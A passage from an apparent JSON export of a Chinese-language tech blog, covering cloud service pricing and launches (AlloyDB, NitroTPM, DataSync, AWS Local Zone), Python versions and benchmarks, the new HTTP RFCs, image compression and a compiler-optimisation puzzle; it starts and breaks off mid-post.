這個服務，看起來速度慢下來不少。(不過 Linode 推新產品的速度本來就不快)\r\n\r\n而 <a href=\"https://www.vultr.com/\">Vultr</a> 還是照慣例丟了一堆東西出來，在新的據點開機房，以及一些產品線...\r\n\r\n話說回來，查資料的時候發現 DigitalOcean 有 581 人 (2020/12)，Linode 則是 200+，Vultr 則是 75 (2022，engineering only)，看起來 DigitalOcean 的組織頗肥的啊...",
    "title": "DigitalOcean 全面漲價"
  },
  {
    "id": "10718",
    "body": "也是在清 RSS reader 的時候翻到的，看起來是在今年的 <a href=\"https://io.google/2022/\">Google I/O</a> 上發表的服務，<a href=\"https://cloud.google.com/alloydb\">AlloyDB</a>：「<a href=\"https://cloud.google.com/blog/products/databases/alloydb-for-postgresql-intelligent-scalable-storage\">AlloyDB for PostgreSQL under the hood: Intelligent, database-aware storage</a>」，值得提的是這篇有中文版可以看：「<a href=\"https://taiwan.googleblog.com/2022/05/Google-IO-AlloyDB-for-PostgreSQL.html\">適用於 PostgreSQL 的 AlloyDB 隆重登場：從此擺脫成本高昂的老舊資料庫</a>」。\r\n\r\n另外還有一篇比較偏 PR 的文章也可以看看：「<a href=\"https://cloud.google.com/blog/products/databases/introducing-alloydb-for-postgresql\">Introducing AlloyDB for PostgreSQL: Free yourself from expensive, legacy databases</a>」，這篇就比較針對的提到了與 <a href=\"https://aws.amazon.com/\">AWS</a> 的服務相比，但畢竟是 PR 稿沒有明講 (出事會比較好打模糊戰)，但我猜測是與 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 對比：\r\n\r\n<blockquote>AlloyDB was also two times faster for transactional workloads than Amazon’s comparable service.</blockquote>\r\n\r\n宣稱在 <a href=\"https://en.wikipedia.org/wiki/Online_transaction_processing\">OLTP</a> 上快了兩倍 (原來的三倍？)，但應該都是以 PostgreSQL 下去改，猜測可能是底層的 storage 與 replication 比較好？\r\n\r\nAlloyDB 設計上是考慮了 HTAP (<a href=\"https://en.wikipedia.org/wiki/Hybrid_transactional/analytical_processing\">Hybrid transactional/analytical processing</a>) 的使用，所以同時可以提供 <a href=\"https://en.wikipedia.org/wiki/Online_analytical_processing\">OLAP</a> 與 OLTP 的應用：\r\n\r\n<blockquote>[...] This makes AlloyDB a great fit for business intelligence, reporting, and hybrid transactional and analytical workloads (HTAP).</blockquote>\r\n\r\n直接在一個資料庫內處理 OLAP 與 OLTP 這點的確會讓 AlloyDB 比 AWS 目前能提供的方案方便不少 (然後想一下 <a href=\"https://cloud.google.com/bigquery\">BigQuery</a> 團隊...)。\r\n\r\n目前在 AWS 對應的方案應該是透過 <a href=\"https://aws.amazon.com/redshift/\">Redshift</a> 來解決，另外一個方案是透過 <a href=\"https://aws.amazon.com/athena/\">Athena</a> 來跑。\r\n\r\n最後來看價錢，如果效能變成兩倍但價錢也是兩倍的話，就代表在價格上沒優勢。\r\n\r\n先看機器的部份，如果是拿 Aurora 這邊 <a href=\"https://www.intel.com/\">Intel</a>-based 的 <code>db.r5.24xlarge</code> (96 vCPU + 768 GB RAM) 來算的話是 US$13.92/hr，而如果換算到 AlloyDB 的話是 US$14.94528/hr，相除是 0.9314，大約 7% 的差距，可以算是同一個級距。\r\n\r\n如果 Aurora 這邊是拿 <a href=\"https://www.arm.com/\">ARM</a>-based 的 <code>db.r6g.16xlarge</code> (64 vCPU + 512 GB RAM) 來算的話是 US$8.306/hr，換算到 AlloyDB 的話是 US$9.96352/hr，相除是 0.8336，這邊就差超過 16% 了...\r\n\r\n(這邊剛好回顧一下 \"Amazon’s comparable service\" 這段，不確定他是跟 Intel-based 比還是跟 ARM-based 比，畢竟 ARM 除了比較便宜外，還有效能的提昇)\r\n\r\n但最大的差異應該是在 storage 相關的部份。其中 Aurora 這邊的空間與 I/O 是分開收費的，以 <code>us-east-1</code> 來說，storage 是 US$0.10/GB/mo，而 I/O 是 US$0.20/million-requests，在 AlloyDB 這邊來說，Regional cluster storage 是 US$0.0004109/GB/hr (<code>us-east4</code>)，變成是 US$0.295848/GB/mo，兩邊相比後可以算出來對等的計價會是 AWS 的 storage 加上 AWS 給你 1.47M 的 I/O (per GB)。\r\n\r\n這樣算起來把資料丟 <a href=\"https://aws.amazon.com/s3/\">S3</a> 跑 Athena 可能不會比較貴... (當然效能是另外的主題了)\r\n\r\n光就檯面上的資料來看，看起來是個不錯的東西，等後續有人跳進去用看看感想...",
    "title": "GCP 推出 AlloyDB，一套相容 PostgreSQL 協定的資料庫服務"
  },
  {
    "id": "10721",
    "body": "也是在清 RSS reader 的時候翻到的公告，在兩個禮拜前 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 支援 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/nitrotpm.html\">NitroTPM</a> 與 <a href=\"https://en.wikipedia.org/wiki/Secure_Boot\">UEFI Secure Boot</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ec2-now-supports-nitrotpm-and-uefi-secure-boot/\">Amazon EC2 Now Supports NitroTPM and UEFI Secure Boot</a>」。\r\n\r\nNitroTPM 相容於 <a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\">TPM</a> 2.0 的界面，所以有支援 TPM 2.0 的軟體都可以利用 (像是 <a href=\"https://en.wikipedia.org/wiki/Windows_11\">Windows 11</a>)：\r\n\r\n<blockquote>Nitro Trusted Platform Module (NitroTPM) is a virtual device that is provided by the AWS Nitro System and conforms to the TPM 2.0 specification.</blockquote>\r\n\r\n之前在研究 <a href=\"https://en.wikipedia.org/wiki/Linux_Unified_Key_Setup\">LUKS</a> 的時候也有看到 TPM 相關的資料：\r\n\r\n<blockquote>Linux Unified Key Setup (LUKS) or dm-verity on Linux are examples of OS-level applications that can leverage NitroTPM too.</blockquote>\r\n\r\n然後支援的平台有些限制，只有 <a href=\"https://www.intel.com/\">Intel</a> 與 <a href=\"https://www.amd.com/\">AMD</a> 的平台有支援，而且還要扣掉 <a href=\"https://en.wikipedia.org/wiki/Xen\">Xen</a>、Mac 以及 bare metal 的機種：\r\n\r\n<blockquote>At the moment, we support all Intel and AMD instance types that supports UEFI boot mode. Graviton1, Graviton2, Xen-based, Mac, and bare-metal instances are not supported.</blockquote>\r\n\r\nARM 那邊有自己的一套，不太玩 TPM 大概可以理解，Xen 大概是不想支援 (停止開發新功能之類的原因)，Mac 可能是 <a href=\"https://www.apple.com/\">Apple</a> 的硬體限制，最後的 bare metal 是因為沒辦法虛擬化？\r\n\r\n然後這個功能不另外收費，看起來幾乎是全球性一次更新：\r\n\r\n<blockquote>There is no additional cost for using NitroTPM. It is available today in all AWS Regions, including the AWS GovCloud (US) Regions, except in China.</blockquote>",
    "title": "Amazon EC2 支援 NitroTPM 與 UEFI Secure Boot"
  },
  {
    "id": "10723",
    "body": "作者家裡拉了 25Gbps 的 Internet 後 (可以參考先前寫的「<a href=\"https://blog.gslin.org/archives/2021/07/11/10233/25gbps-%E7%9A%84%E5%AE%B6%E7%94%A8-internet/\">25Gbps 的家用 Internet</a>」這篇)，然後發現 Internet 上好像拉不動 25Gbps 的量，所以自己在家裡先測試了現在 HTTPS 的極限速度：「<a href=\"https://michael.stapelberg.ch/posts/2022-05-14-http-and-https-download-25gbit/\">25 Gbit/s HTTP and HTTPS download speeds</a>」。\r\n\r\nClient 是 <a href=\"https://www.amd.com/\">AMD</a> 的 5600X，算是目前最新的世代；Server 則是 <a href=\"https://www.intel.com/\">Intel</a> 的 9900K，目前最新應該是 12 代；測試用 35GB 的檔案來測，然後使用 <a href=\"https://en.wikipedia.org/wiki/TCP_BBR\">TCP BBR</a> (這邊沒有特別講，目前 kernel 內建的還是 v1)。\r\n\r\n在單條 HTTP 的情況下 <a href=\"https://curl.se/\">curl</a> + <a href=\"https://nginx.org/\">nginx</a> 與 curl + <a href=\"https://caddyserver.com/\">caddy</a> 都可以直接跑滿 (23.4Gbps)，<a href=\"https://go.dev/\">Go</a> 的 <a href=\"https://pkg.go.dev/net/http\">net/http</a> 會卡在 20Gbps 左右。\r\n\r\n如果是多條 HTTP 的話都可以跑滿 23.4Gbps。\r\n\r\n但到了 HTTPS 的情況下最快的是 Go + net/http，可以跑到 12Gbps；curl + nginx 剩下 8Gbps；接下來 curl + caddy 的部份只有 7.5Gbps，而 go + caddy 只有 7.2Gbps。\r\n\r\n上到多條 HTTPS 的情況大家都可以跑滿 23.4Gbps，除了 go + caddy 只能跑到 21.6Gbps。\r\n\r\n另外作者試著用 <a href=\"https://docs.kernel.org/networking/tls-offload.html\">kTLS</a> 把 TLS 的工作丟進 kernel，就不需要全部在 nginx 內處理，速度基本上沒有太大變化，主要是降低了 CPU loading：\r\n\r\n<blockquote>In terms of download speeds, there is no difference with or without KTLS. But, enabling KTLS noticeably reduces CPU usage, from ≈10% to a steady 2%.</blockquote>\r\n\r\n算是一個有趣的發現，如果目前的 HTTPS 想要在 25Gbps 上面單線直接跑滿，還需要再 tune 不少東西...",
    "title": "25Gbps 下 HTTPS 的效率"
  },
  {
    "id": "10725",
    "body": "<a href=\"https://aws.amazon.com/datasync/\">AWS DataSync</a> 宣佈支援 GCP 與 Azure 上的 Storage 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-datasync-move-data-between-aws-and-google-cloud-storage-or-aws-and-microsoft-azure-files/\">New for AWS DataSync – Move Data Between AWS and Other Public Locations</a>」，比較特別的是，文章的 URL 有提到這兩家的產品，但在標題上反而就沒提到...\r\n\r\n這測的重點就是支援 <a href=\"https://cloud.google.com/\">Google Cloud</a> 與 <a href=\"https://azure.microsoft.com/\">Microsoft Azure</a> 的 object storage 產品：\r\n\r\n<blockquote>Today, we added to DataSync the capability to migrate data between AWS Storage services and either Google Cloud Storage or Microsoft Azure Files.</blockquote>\r\n\r\n之前大家都是自己開機器手動搬，現在可以直接付錢 (依照 GB 計費) 用服務搬了，不過要注意網路頻寬的流出部份還是有費用...",
    "title": "AWS DataSync 支援 GCP 與 Azure 上的 Storage 上的資料了"
  },
  {
    "id": "10727",
    "body": "查資料的時候翻到「<a href=\"https://www.isc.org/licenses/\">ISC Software Licenses</a>」這頁，發現從 2015 年開始 <a href=\"https://www.isc.org/\">ISC</a> 就打算換掉原先的 <a href=\"https://en.wikipedia.org/wiki/ISC_license\">ISC license</a>，陸陸續續都轉移到 <a href=\"https://en.wikipedia.org/wiki/Mozilla_Public_License\">MPL</a> 2.0...\r\n\r\n在維基百科的頁面上可以看到一些說明，包括 <a href=\"https://www.isc.org/kea/\">Kea</a>、<a href=\"https://www.isc.org/bind/\">BIND</a> 與 <a href=\"https://www.isc.org/dhcp/\">ISC DHCP</a> 都已經換完了：\r\n\r\n<blockquote>In 2015, ISC announced they would release their Kea DHCP Software under the Mozilla Public License 2.0, stating, \"There is no longer a good reason for ISC to have its own license, separate from everything else\". They also preferred a copyleft license, stating, \"If a company uses our software but improves it, we really want those improvements to go back into the master source\". Throughout the following years, they re-licensed all ISC-hosted software, including BIND in 2016 and ISC DHCP Server in 2017.</blockquote>\r\n\r\n不過 <a href=\"https://www.eyrie.org/~eagle/software/inn/\">INN</a> 還是維持著 ISC license，應該是因為不算是 ISC 的正式產品？",
    "title": "原來 ISC 自己已經不用 ISC license 了"
  },
  {
    "id": "10729",
    "body": "在「<a href=\"https://blog.kagi.com/kagi-orion-public-beta\">Kagi search and Orion browser enter public beta</a>」這邊可以看到 public beta 與收費的消息：\r\n\r\n<blockquote>We decided to start charging for Kagi search while in beta status because the cost of beta usage has gone up dramatically and we are not able to sustain it. Also, we want to get some kind of a financial “airworthiness” signal and see how we stand with our positioning and outlook for sustainability.</blockquote>\r\n\r\n收費的費用是 US$10/mo，剛剛先把信用卡掛上去了...",
    "title": "Kagi 開始收費了"
  },
  {
    "id": "10730",
    "body": "公司的人丟了訊息過來，<a href=\"https://aws.amazon.com/\">AWS</a> 要在台灣設 local zone 了：「<a href=\"https://aws.amazon.com/tw/events/taiwan/news/aws-local-zone-in-taiwan/\">AWS 宣布在台部署全新 AWS 本地區域，擴充本地基礎設施</a>」。\r\n\r\n<blockquote>Amazon Web Services（AWS）宣布將在台灣推出全新 AWS Local Zone（本地區域）。</blockquote>\r\n\r\n沒看到確切的時間點... 不過 local zone 的功能都很少，可以參考「<a href=\"https://aws.amazon.com/about-aws/global-infrastructure/localzones/features/\">AWS Local Zones features</a>」這邊的列表，看看目前已經啟用的 local zone 所支援的服務與機種，像是 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 都不一定會有。\r\n\r\n不過對個人來說，拿來當 VPS 用還不錯？到時候來看看 routing 的調教如何...",
    "title": "AWS 宣佈將在台灣推出 Local Zone"
  },
  {
    "id": "10731",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://github.com/jwilk/python-syntax-errors\">no-op statements syntactically valid only since Python X.Y</a>」這個專案，搞爆各個版本 <a href=\"https://www.python.org/\">Python</a> 的各種方式，從 Python 2.4+ 一路到 3.11+ (不過中間有少了 3.2 與 3.4)。\r\n\r\n專案要求的條件是 no-op，所以像是 <code>import</code> 這種行為都會產生 side effect，所以就不能用 <code>sys.version_info</code> 這個變數了：\r\n\r\n<blockquote>This is a collection of no-op statements that are syntactically valid only since Python X.Y, for most X.Y ≥ 2.4.</blockquote>\r\n\r\n看了一下裡面的例子，反而看到一些有趣的東西，像是原來這種語法在 Python 2.3 是不能跑的：\r\n\r\n<pre>(0 for x in [])  # Python &gt;= 2.4 is required</pre>\r\n\r\n然後 <code>0_0</code> 這種方便表示數字的寫法在 Python 3.6+ 才能動：\r\n\r\n<pre>0_0  # Python &gt;= 3.6 is required</pre>\r\n\r\n有些東西真的是用習慣就忘記了，遇到一些古董環境可能會中獎然後在那邊疑惑半天 XD\r\n\r\n看起來這個專案應該比較偏娛樂性質？實際應用上有很多其他比較常見的方式檢查環境才對 XD 但馬上想到，在打黑箱的時候可以用這個方法判斷 Python 的環境版本？",
    "title": "搞爆 Python 的各種姿勢"
  },
  {
    "id": "10732",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=python-311-benchmarks\">Python 3.11 Performance Benchmarks Are Looking Fantastic</a>」這篇，提到目前還在 beta 的 <a href=\"https://www.python.org/\">Python</a> 3.11 效能已經比 Python 3.10 有大幅進步了：\r\n\r\n<blockquote>Python 3.11 is 10~60% faster than Python 3.10 according to the official figures and a 1.22x speed-up with their standard benchmark suite.</blockquote>\r\n\r\nHN 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=31640049\">Python 3.11 Performance Benchmarks Are Looking Fantastic (phoronix.com)</a>」。\r\n\r\n從比較簡單的 <a href=\"https://openbenchmarking.org/test/pts/pybench\">PyBench</a> 到 Python 官方的 <a href=\"https://github.com/python/pyperformance\">pyperformance</a> 都有大幅進步。\r\n\r\n像是 PyBench：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NX5TRPj.webp\" /><img src=\"https://i.gslin.com/imgur/NX5TRPj.png\" alt=\"\" /></picture>\r\n\r\n然後 pyperformance 的部份挑個我自己用到比較多的，<a href=\"https://www.djangoproject.com/\">Django</a> 相關的東西：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/d9IBG79.webp\" /><img src=\"https://i.gslin.com/imgur/d9IBG79.png\" alt=\"\" /></picture>\r\n\r\n整體分數跑幾何平均的話會是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2px5vaJ.webp\" /><img src=\"https://i.gslin.com/imgur/2px5vaJ.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>When taking the geometric mean of all the Python benchmarks I carried out for this article on the AMD Ryzen 9 5950X, Python 3.11 Beta was about 41% faster overall than the current Python 3.10.4 stable release or 45% over the aging Python 3.8 series.</blockquote>\r\n\r\n在官方文件上「<a href=\"https://docs.python.org/3.11/whatsnew/3.11.html#faster-cpython\">Faster CPython</a>」這邊有提到做了哪些事情，可以看到大家分頭去改善超多東西，累積起來就很驚人...",
    "title": "Python 3.11 (目前還是 beta) 的效能大幅進步"
  },
  {
    "id": "10733",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol\">HTTP</a> 的標準之前都是用新的 RFC 補充與修正舊的標準，所以整體讀起來會比較累，對於開始了解 HTTP 的人會需要交叉讀才能理解。\r\n\r\n而這次 RFC 9110～9114 算是一次性的把文件全部重新整理出來，可以看到蠻多人 (以及團體) 都有丟出來對應的看法，這邊丟這兩篇：「<a href=\"https://www.mnot.net/blog/2022/06/06/http-core\">A New Definition of HTTP</a>」與「<a href=\"https://blog.cloudflare.com/cloudflare-view-http3-usage/\">HTTP RFCs have evolved: A Cloudflare view of HTTP usage trends</a>」。\r\n\r\n而這五個 RFC，從名稱列出來就可以看出來命名簡單粗暴，把核心概念先拆出來講，然後再講不同 protocol 的部份：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.rfc-editor.org/rfc/rfc9110.html\">RFC 9110 - HTTP Semantics</a></li>\r\n\t<li><a href=\"https://www.rfc-editor.org/rfc/rfc9111.html\">RFC 9111 - HTTP Caching</a></li>\r\n\t<li><a href=\"https://www.rfc-editor.org/rfc/rfc9112.html\">RFC 9112 - HTTP/1.1</a></li>\r\n\t<li><a href=\"https://www.rfc-editor.org/rfc/rfc9113.html\">RFC 9113 - HTTP/2</a></li>\r\n\t<li><a href=\"https://www.rfc-editor.org/rfc/rfc9114.html\">RFC 9114 - HTTP/3</a></li>\r\n</ul>\r\n\r\n而 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 這邊提供了一些資料，可以看到三個 protocol 使用率都算高，而目前最高的是 HTTP/2：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UlT4qFB.webp\" /><img src=\"https://i.gslin.com/imgur/UlT4qFB.png\" alt=\"\" /></picture>\r\n\r\n另外比較特別的是 <a href=\"https://www.apple.com/safari/\">Safari</a> 在 HTTP/3 的趨勢居然有倒縮的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gyTrvCK.webp\" /><img src=\"https://i.gslin.com/imgur/gyTrvCK.png\" alt=\"\" /></picture>\r\n\r\n然後 bot 的部份幾乎大家都支援 HTTP/2 了，目前還沒看到太多 HTTP/3 的蹤跡，倒是 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 的 bot 有個奇怪的 adoption 然後全部 rollback 的情況，而最近又開始少量導入了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bnFwUvt.webp\" /><img src=\"https://i.gslin.com/imgur/bnFwUvt.png\" alt=\"\" /></picture>\r\n\r\n這次看起來淘汰了 (obsolete) 很多之前的文件，以後要引用得往這五份來引...",
    "title": "HTTP 標準的翻新"
  },
  {
    "id": "10738",
    "body": "搜尋了一下以前的文章，這好像是第一次在 <a href=\"https://aws.amazon.com/blogs/\">AWS News Blog</a> 上第一次提到 <a href=\"https://rockylinux.org/\">Rocky Linux</a>：「<a href=\"https://aws.amazon.com/blogs/aws/aws-mgn-update-configure-dr-convert-centos-linux-to-rocky-linux-and-convert-suse-linux-subscription/\">AWS MGN Update – Configure DR, Convert CentOS Linux to Rocky Linux, and Convert SUSE Linux Subscription</a>」。\r\n\r\n就如同標題所說的，AWS MGN (<a href=\"https://aws.amazon.com/application-migration-service/\">AWS Application Migration Service</a>) 推出了將 CentOS 的機器轉成 Rocky Linux 的服務：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y6oxD7E.webp\" /><img src=\"https://i.gslin.com/imgur/Y6oxD7E.png\" alt=\"\" /></picture>\r\n\r\n翻了一下，Rocky Linux 官方也有提供類似的東西，不過是 command line 的形式：「<a href=\"https://docs.rockylinux.org/guides/migrate2rocky/\">How to Migrate to Rocky Linux from CentOS Stream, CentOS, Alma Linux, RHEL, or Oracle Linux</a>」，這次 AWS 這樣包起來是方便一些沒錯，可以看到是搭配 <a href=\"https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html\">SSM Agent</a> 實做出來的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GqRMl3H.webp\" /><img src=\"https://i.gslin.com/imgur/GqRMl3H.png\" alt=\"\" /></picture>\r\n\r\n比較意外的是這次是 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a>自己出來公佈，通常這種功能都是其他人寫...",
    "title": "AWS MGN 推出將 CentOS 轉成 Rocky Linux 的服務"
  },
  {
    "id": "10739",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Daily Lobsters</a> 上看到「<a href=\"https://www.splitgraph.com/blog/poetry-dependency-resolver-sudoku\">Solving Sudoku with Poetry's dependency resolver</a>」這篇完全是惡搞 <a href=\"https://www.python.org/\">Python</a> 下 <a href=\"https://python-poetry.org/\">Poetry</a> 套件 XDDD\r\n\r\n作者搞出來的方法是這樣，指定 81 個版號來表示題目，然後跑 Poetry 找可以的版本組合：\r\n\r\n<pre>\r\n[tool.poetry.dependencies]\r\npython = \"^3.6\"\r\nsudoku-cell11 = \"*\"\r\nsudoku-cell12 = \"2.0.0\"\r\nsudoku-cell13 = \"*\"\r\nsudoku-cell14 = \"8.0.0\"\r\nsudoku-cell15 = \"*\"\r\nsudoku-cell16 = \"9.0.0\"\r\nsudoku-cell17 = \"*\"\r\nsudoku-cell18 = \"*\"\r\nsudoku-cell19 = \"*\"\r\nsudoku-cell21 = \"3.0.0\"\r\nsudoku-cell22 = \"7.0.0\"\r\nsudoku-cell23 = \"*\"\r\nsudoku-cell24 = \"6.0.0\"\r\n...\r\n</pre>\r\n\r\n另外作者有提到，本來是打算用 <a href=\"https://yarnpkg.com/\">Yarn</a> 來解，但看起來各種嘗試都會搞爆 Yarn，才換到 Python 上面玩 XD",
    "title": "用 Poetry 的相依性演算法解數獨 (Sudoku)"
  },
  {
    "id": "10740",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這則，蠻有趣的嘗試，如果幫 <a href=\"https://www.openssl.org/\">OpenSSL</a> 包裝成 GUI 版本的話，可能會長的樣子：「<a href=\"https://smallstep.com/blog/if-openssl-were-a-gui/\">If OpenSSL were a GUI</a>」，而 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=31697636\">If OpenSSL were a GUI (smallstep.com)</a>」這邊可以看到。\r\n\r\n要注意的是這是 mock 出來的圖，而不是真的有人這樣幹了一個版本出來。主要是在帶出 OpenSSL 這個工具極度複雜的問題，另外也因此帶出 GUI application 的取捨問題，在 Hacker News 上的討論都有人提出來。\r\n\r\n不過讓我吸引的點反而是 mock UI 的選擇上，看起來作者選了 Platinum 風格 (<a href=\"https://en.wikipedia.org/wiki/Mac_OS_8\">Mac OS 8</a> &amp; <a href=\"https://en.wikipedia.org/wiki/Mac_OS_9\">Mac OS 9</a>)，在維基百科的「<a href=\"https://en.wikipedia.org/wiki/Appearance_Manager\">Appearance Manager</a>」這個頁面有提到：\r\n\r\n<blockquote>The default look and feel of the Appearance Manager in Mac OS 8 and 9 is Platinum design language, which was intended to be the primary GUI for Copland.</blockquote>\r\n\r\n是個讓人懷念的風格，而且意外的看起來反而讓 GUI 柔和不少，而且其實就功能性來說還蠻不錯的？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dtMsYJ5.webp\" /><img src=\"https://i.gslin.com/imgur/dtMsYJ5.png\" alt=\"\" /></picture>",
    "title": "如果把 OpenSSL 包裝成 GUI 版本"
  },
  {
    "id": "10741",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://siipo.la/blog/whats-the-best-lossless-image-format-comparing-png-webp-avif-and-jpeg-xl\">What’s the best lossless image format? Comparing PNG, WebP, AVIF, and JPEG XL</a>」這篇，在講圖片的無損壓縮演算法。在 Hacker News 上的討論也可以看看：「<a href=\"https://news.ycombinator.com/item?id=31657006\">What’s the best lossless image format? (siipo.la)</a>」。\r\n\r\n文章有點舊 (2021 年七月)，但應該還行... 另外作者看起來是以 service bandwidth 考量為主，在這種情境下，自然圖片一般都會以非無損的方式提供 (像是 <a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a>)，而人造圖片則是以無損的方式提供 (像是 <a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a>)，所以在這邊討論無損的時候會以人造圖片的 dataset 來挑選，於是作者是跑去 <a href=\"https://dribbble.com/\">Dribbble</a> 上翻圖片當 dataset：\r\n\r\n<blockquote>What I ended up with was downloading a set of images from Dribbble, a portfolio site for designers.</blockquote>\r\n\r\n最後的結果就是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0s5Jhwj.webp\" /><img src=\"https://i.gslin.com/imgur/0s5Jhwj.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9Gzt1hI.webp\" /><img src=\"https://i.gslin.com/imgur/9Gzt1hI.png\" alt=\"\" /></picture>\r\n\r\n考慮到目前各家瀏覽器的支援性，可以看到 Lossless <a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a> 其實是個很好的選擇，檔案算蠻小的，而且 <a href=\"https://www.apple.com/\">Apple</a> ecosystem 的支援性也已經出來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YNcO9AY.webp\" /><img src=\"https://i.gslin.com/imgur/YNcO9AY.png\" alt=\"\" /></picture>\r\n\r\n如果不用考慮到瀏覽器的話，<a href=\"https://en.wikipedia.org/wiki/JPEG_XL\">JPEG XL</a> 也可以考慮，不過本來宣稱 royalty-free 的部份蒙上了陰影：「<a href=\"https://www.theregister.com/2022/02/17/microsoft_ans_patent/\">Alarm raised after Microsoft wins data-encoding patent</a>」，用的人反而要注意到 patent 問題...",
    "title": "圖片無損壓縮下的演算法比較"
  },
  {
    "id": "10743",
    "body": "兩個禮拜前在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這篇很精彩的問題與分析，裡面展現出了現代 compiler 最佳化的能力，大量使用了 <a href=\"https://en.wikipedia.org/wiki/Single_instruction,_multiple_data\">SIMD</a> 來衝效能：「<a href=\"https://news.ycombinator.com/item?id=31549050\">Why does this code execute more slowly after strength-reducing multiplications? (stackoverflow.com)</a>」，原文在 <a href=\"https://stackoverflow.com/\">Stack Overflow</a> 上：「<a href=\"https://stackoverflow.com/questions/72306573/why-does-this-code-execute-more-slowly-after-strength-reducing-multiplications-t\">Why does this code execute more slowly after strength-reducing multiplications to loop-carried additions?</a>」。\r\n\r\n這篇會很長，除了本來 Stack Overflow 上的討論以外，我另外自己測 <a href=\"https://gcc.gnu.org/\">GCC</a> 9.4.0 不加上 <code>-O</code>、加上 <code>-O</code> 與 <code>-O3</code>，發現這次 Stack Overflow 給的範例剛剛好把這幾個常見的最佳化等級都練出不同結果，算是蠻厲害的題目。\r\n\r\n作者一開始是寫了一個很簡單的版本 A，會透過 loop (對 <code>i</code> 進行) 計算 <code>A*i^2 + B*i + C</code> 的值，把結果放到 array 裡面：\r\n\r\n<pre>\r\ndouble data[LEN];\r\n\r\nvoid compute()\r\n{\r\n    const double A = 1.1, B = 2.2, C = 3.3;\r\n\r\n    int i;\r\n    for(i=0; i&lt;LEN; i++) {\r\n        data[i] = A*i*i + B*i + C;\r\n    }\r\n}\r\n</pre>\r\n\r\n透過一些紙本公式計算可以知道，每次遞增的值雖然不是固定值，但也是有規律的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gO3ecoA.webp\" /><img src=\"https://i.gslin.com/imgur/gO3ecoA.png\" alt=\"\" /></picture>\r\n\r\n所以可以改寫成一堆加號的版本 B：\r\n\r\n<pre>\r\nvoid compute()\r\n{\r\n    const double A = 1.1, B = 2.2, C = 3.3;\r\n    const double A2 = A+A;\r\n    double Z = A+B;\r\n    double Y = C;\r\n\r\n    int i;\r\n    for(i=0; i&lt;LEN; i++) {\r\n        data[i] = Y;\r\n        Y += Z;\r\n        Z += A2;\r\n    }\r\n}\r\n</pre>\r\n\r\n理想上版本 A 在 loop 內用到三個乘法與兩個加法，而版本 B 只用到了三個加法，預期版本 B 應該會快不少，但實際上跑出來的結果剛好反過來：版本 B 慢了許多。\r\n\r\n作者實際用 <a href=\"https://en.wikipedia.org/wiki/Objdump\">objdump</a> 拉出來看，粗粗看下來也會發現版本 A 的指令多很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vw76OJa.webp\" /><img src=\"https://i.gslin.com/imgur/vw76OJa.png\" alt=\"\" /></picture>\r\n\r\n而版本 B 的指令簡單很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eCayv3w.webp\" /><img src=\"https://i.gslin.com/imgur/eCayv3w.png\" alt=\"\" /></picture>\r\n\r\n在討論下面已經有人給出解釋，主要的原因包括了兩個。\r\n\r\n首先是現代 CPU 靠著暴力電路解決，乘法速度跟加法其實不像以前差那麼多，可以從 <a href=\"https://www.agner.org/optimize/instruction_tables.pdf\">Instruction tables</a> 這邊看到 MUL 類的指令速度雖然不能跟加法相比，但其實不算慢了，反倒是 DIV 整數除法類的指令比較痛。\r\n\r\n另外一個原因，如果仔細看作者貼的 screenshot 分析會發現，在版本 A 裡面，一個 loop 其實做了四次 <code>i</code> 的運算 (<code>add rax, 0x20</code>)，而版本 B 只做了一個 <code>i</code> 的運算 (<code>add rax, 0x8</code>)，這邊 compiler 幫你 unroll 